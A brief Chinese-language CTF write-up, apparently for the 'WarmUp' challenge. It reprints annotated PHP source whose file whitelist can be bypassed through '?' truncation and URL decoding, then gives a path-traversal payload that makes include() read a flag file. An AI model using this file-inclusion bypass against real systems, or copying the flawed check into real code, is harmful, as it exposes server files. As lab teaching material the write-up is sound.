检查源码
发现提示
查看source.php
进行代码审计
进入hint.php查看提示
得到存储flag的文件名
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //4、设置白名单
if (! isset($page) || !is_string($page)) { //5、判断$page是否有值并且是否为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //6、判断$page中是否有白名单中的内容
return true;
}
$_page = mb_substr( //7、从第一个字符开始截断到第一个?
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {//8、第二次判断白名单
return true;
}
$_page = urldecode($page); //9、url解码
$_page = mb_substr( //10、第二次从第一个字符开始截断到第一个?
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {//11、第三次判断白名单
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //1、判断file是否为空
&& is_string($_REQUEST['file']) //2、is_string判断file是否为字符串
&& emmm::checkFile($_REQUEST['file']) //3、将file传入emmm的checkFile
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
可以得到payload:file=source.php?../../../../../../../../../../ffffllllaaaagggg
file一开始判断是否有白名单内容
第一次截取后第二次判断是否有白名单内容
第二次截取后第三次判断是否有白名单内容
最后返回true得到flag